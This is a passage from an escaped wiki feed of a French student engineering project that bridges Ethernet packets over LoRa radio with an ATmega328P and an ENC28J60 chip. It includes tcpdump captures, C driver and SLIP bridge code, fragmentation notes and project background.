	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragment et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Fragment.jpg&amp;diff=39268</id>
		<title>Fichier:Fragment.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Fragment.jpg&amp;diff=39268"/>
				<updated>2017-02-16T10:26:06Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : Fragments du paquet&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Fragments du paquet&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39266</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39266"/>
				<updated>2017-02-16T10:25:23Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
